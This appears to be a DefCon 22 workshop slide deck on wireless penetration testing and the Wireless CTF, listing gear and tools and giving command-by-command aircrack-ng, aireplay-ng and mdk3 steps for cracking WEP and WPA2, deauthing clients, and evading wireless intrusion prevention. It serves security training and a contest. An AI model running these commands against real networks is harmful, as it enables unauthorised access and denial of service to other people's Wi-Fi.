DefCon 22

Wireless Penetration
Testing
and
How to WCTF

RF Pentesting Platforms
Internet access
SmartPhone with USB tether (wifi/BT could be an issue)

Laptop (MAC or PC)

Multi core processor
8 GB ram or more* (16Gb+ optimal)
Hard drive space for all necessary apps and VMs
SSD is optimal

External Radios/antennas
Internal radios might not give the flexibility/capability
Built in antennas may not give flexibility needed

Power-Supply
Enough outlets to power all of your gear

RF Pentesting Distributions
Linux
Pentoo
Kali-Linux
(bare metal, VM or overlay)

Windows
(bare metal or VM)

OS X with Fusion
Other Hosts with VM

RF Pentesting Radios
Ubertooth One
TP-Link TL-WN722N
RTL-SDR
Alfa Radios
EnGenius EUB 1200AC
Rokland N3
Rosewill N600 UBE
AirPcapNx
HackRF One
SR-71
WiSpy DBX

Antennas
Omnidirectional
2, 5, 7, 9 dBi

Directional
Panel
Yagi
Cantena

RF Pentesting Tools
PGP/GPG
aircrack-ng
airodump-ng
airdrop-ng
kismet-ng
wireshark
tcpdump
nmap

msf
gqrx
mdk3
multimon-ng
reaver
gnuradio
pyrit
osmocom
hashcat
wifite
fern-wifi-cracker
Smartnet-scanner

Testing Your Gear

Have a repeatable process for validating
antennas/setup
Hand testing on a fixed known AP
jitter.sh (ask we can give it to you

Automated testing Kismet (shootout.rb)

Know how different cards, antennas, and
combinations work with each platform

Never be surprised by your equipment

Cracking WEP

Lets do it!

Injecting packets

Most drivers that are capable of monitor mode are capable of

some sort of packet injection. Injecting packets involves
crafting an 802.11 packet and writing it to a monitor mode
interface, which then broadcasts it.
Unfortunately, Wi-Fi cards are predominantly designed to
transmit data frames while associated to a network. While
connected to a network, data gets an active
acknowledgement from the receiver.
When transmitting raw packets, there is no such
acknowledgement, and sometimes the Wi-Fi card might not
even transmit the packet.

Testing packet injection

Make a monitor mode interface if one isnt there already:

airmon-zc start wlan1
What is airmon-zc? Good question!

Find a nearby access point. You can do this using Kismet, or

using the simple network display
tool from Aircrack:
airodump-ng wlan1mon

Now quit airodump (control-c) and set the channel to match a

network:
iw dev wlan1mon set channel 1

Or, use the airmon-zc tool to change the channel:

airmon-zc start wlan1 1

Now to inject

aireplay-ng --test -e VICTIM_SSID -a VICTIM_BSSID

wlan1mon
--test tells aireplay-ng to test injection.
-e specifies the SSID. This should be the advertised
name of the network youre testing against. It is case
sensitive!
-a specifies the BSSID, or MAC address, of the
network youre testing against. It is not case
sensitive.
wlan1mon is, of course, the monitor mode interface
we created.

Cracking WEP

Terminal 1:
start logging:
airodump-ng --channel 1 --w /tmp
wlan1mon
This sets the channel to 1, and writes the
Aircrack data to files in /tmp.

Cracking WEP

Terminal 2:
aireplay-ng --fakeauth 5 -e VICTIM_SSID
wlan1mon
This performs a fake association every 5 seconds, to a
network named VICTIM_SSID (which is case sensitive!),
injecting via the wlan1mon interface.

Cracking WEP

Terminal 3:
Looking to find an ARP packet

start aireplay-ng looking for ARP packets:

aireplay-ng --arpreplay -e VICTIM_SSID
wlan1mon
This tells aireplay to look for ARP packets, from the SSID
VICTIM_SSID.

Cracking WEP

At this point, you may naturally get an ARP packet of a client

joining the network. If not, you can help things along.
To force an ARP, we need to find a victim station on the
target network. Looking at the output of airodump, we need
to find a client whose BSSID matches the network we want to
attack.
To force a client to reconnect, we basically cause a denial of
service. Wi-Fi management frames have no protection, so
nothing prevents us from spoofing the access point and
telling the client to disconnect.

Cracking WEP

Terminal 4:
aireplay-ng --deauth 15 -a MAC_OF_AP -c
MAC_OF_CLIENT wlan1mon
This sends 15 sets of 64 deauth packets, spoofing the
address of the access point (the BSSID the client is
connected to), targeting the client.
Make sure to pick a client which is connected to the network,
dont pick yourself!

At this point, there should be a flood of traffic in the terminal

running aireplay-ng --arpreplay, and the terminal running
airodump-ng should show a large number of packets.

Cracking WEP

Terminal 5:
aircrack-ng /tmp/aircrack-01.cap
If multiple SSIDs are present in the capture, select the target
SSID from the list. After a short time, it should have found a
solution.

WEP Cracking Summary

airodump-ng to log to a cap file

aireplay-ng --fakeauth to join the victim network
aireplay-ng --arpreplay to capture and inject ARP frames
aireplay-ng --deauth to force devices to re-auth and send
ARPs
aircrack-ng /tmp/aircrack-01.cap

WEP Cracking Easier

There are many tools which are scripted to simplify this

process. Now that you know the actual steps involved,
explore tools which simplify it, such as wifite

RF Pentesting Tactics
Figure out the clues, and think hard. The clues are
always obscure and never direct, but will lead you to the
answer.
Make sure you have practiced with all setups in advance.
Have a process or sequential processes to get through
each challenge and follow that process!
Take really good notes, either on paper or in a text file.
I promise it will help.

Do your recon!!!

Cracking WPA2

Here we go!

Tactic kicking and grabbing

This is a tactic that we use very successfully, which in real life

means about 50% of the time Wireless is hard! J

Get the Big Picture

radio #1
get the big picture
airmon-zc start wlanx
This gives the target network and clients associated
airodump-ng wlanx
Once you have identified the target hone in on target
airodump-ng wlanx -w <name of file date_channel_BSSID>
channel <channel of target> output-format pcap
manufacturer bssid <BSSID Addr> band <band of
target>

Deauth #1

radio #2
this will show many other client probes and flush out any
additional systems
airodump-ng wlanx -w pcap1.csv
airdrop-ng -i wlan5 -t test-01.csv -r rules (test-01.csv was
captured in an earlier session)
Then Deauth
airdrop-ng -i wlanxmon t pcap1.csv -r rules (rules file needs
to be created)

Deauth #2

radio #3 make sure you own the air

aireplay--ng --fakeauth -5 --e <VICTIM_SSID> -i wlanxmon

OR
Better yet!
mdk3 wlanx d s 5 c 1,6,11 w <file name of MAC
addresses> (you must create this)

Pulling the handshake

Open pcap in wireshark and filter using EAPOL, some tools

will give them to you as well

Cracking WPA2 with Aircrack

Once this is complete you should have a handshake in the
top of the airodump-ng screen
Verify the handshake using wireshark and the EAPOL filter, look
for 1 of 4, 2 of4, 3 of 4, and 4 of 4, you need all 4.

Use the resulting PCAP file

cracking wpa2 with aircrack-ng
aircrack-ng -w wordlist1 -b <BSSID> <filename.ivs>????

Rinse, Lather, Repeat

This will work 90% of the time, there are things that need to
be done when there at WIPS and WIDS

When you encounter WIPS

Scan PCAP for the typical mac addresses of WIPS

Send auth packets to the AP, mdk3 works well for this as well
Attempt to own the airspace, with clean well built attacks no
amps and good antennas, this will take some practice
mdk3 wlanx a a or
mdk3 wlanx w e <SSID of target net> -z

OR
Wait till the user leaves and follow them to a coffee shop
Recon is so important!

Karma

WiFi Pineapple

Custom Stuff

Other helpful tools

Wifitie
Fern-wifi-cracker

WCTF!

Yet another chance for hands

on

DefCon 22 WCTF
A Tribute to
and
How to WCTF

WCTF Rules
You must register with the scoring server (instructions to
follow)
All Game BSSIDs are in the context of AirHeadsWCTF#
Keys will only be scored once per team.
We log everything and obvious attempts will result in
subjective penalties
We are much meaner than you :-p

Anything that needs to be cracked will be that challenges

key
If the AP is OPEN once connected, scan for interesting ports (80)
nmap p 80 x.x.x.0/24

offense and defense are always in play!

WCTF Scoring
In order to score, you must have
A working copy of GPG or PGP depending on your operating system
A valid Public/Private key pair to be used for signing your submissions
Access to email/internet (internet is provided AirHeadsWCTF01)

WCTF Scoring Instructions and PGP Public Key are at:

http://PGP.wctf.us
The flag.sh shell script has been provided to aid in uploading
keys
You will find that it makes it easier/faster to submit your scores

Setting up GPG/PGP
Verify that you have PGP or GPG
installed
Type gpg <return> and see if it is installed
if not:
emerge gpg (Gentoo)
apt-get install gpg (Kali, Ubuntu, Debian, etc.)
Download and install GPG Keychain Access
(OSX)

Setting up GPG/PGP keys

From the terminal type Gpg gen-key <return>
Select type (use default for WCTF)
Select keysize (use 1024 for WCTF)
Let the key expire a day after the WCTF is over
Type your WCTF name
Enter a valid email address that you are going to use to
submit the flags for the WCTF
Enter a passphrase that you will remember
Then let the computer work for a few minutes creating
entropy (wifi scanning speeds this process)

Register Your Team

http://wctf.us/register.php

Importing WCTF PGP Key

gpg import <paste the WCTF pub key>
<return>
Copy/paste the entire key only
from
http://www.wctf.us/scoring.html

To Submit a Flag
Copy the flag from it's location.
It will be either the wireless encryption key
A string of random characters found on the target network
On a web server on the target network
(nmap can be your friend nmap p x.x.x.0/24

Copy the entire string with no breaks or spaces

If the key is hex convert to ASCII

Take the output of key.sh

./flag.sh <flag>

Copy and paste resulting output of the flag.sh file

and email (without encryption) to: [email protected](clear

WCTF Tactics
Figure out the clues, and think hard. The clues are
always obscure and never direct, but will lead you to the
answer
Make sure you have practiced with all setups in advance
Have a process or sequential processes to get through
each challenge and follow that process!
Take really good notes, either on paper or in a text file, I
promise it will help
Learn about the person running the WCTF. This too will
give a lot away.

welcome to the challenges!

This will be edited on Aug 7th

Words, Context, Formatting, and Capitalization are all part of the clues

Thanks to the WCTF Team

Anch
Marauder

TheX1le
Zero_Chaos

Terrible

Russ

DaKahuna

Dragorn

Questions

@Rmellendick

[email protected]

@boneheadsanon

[email protected]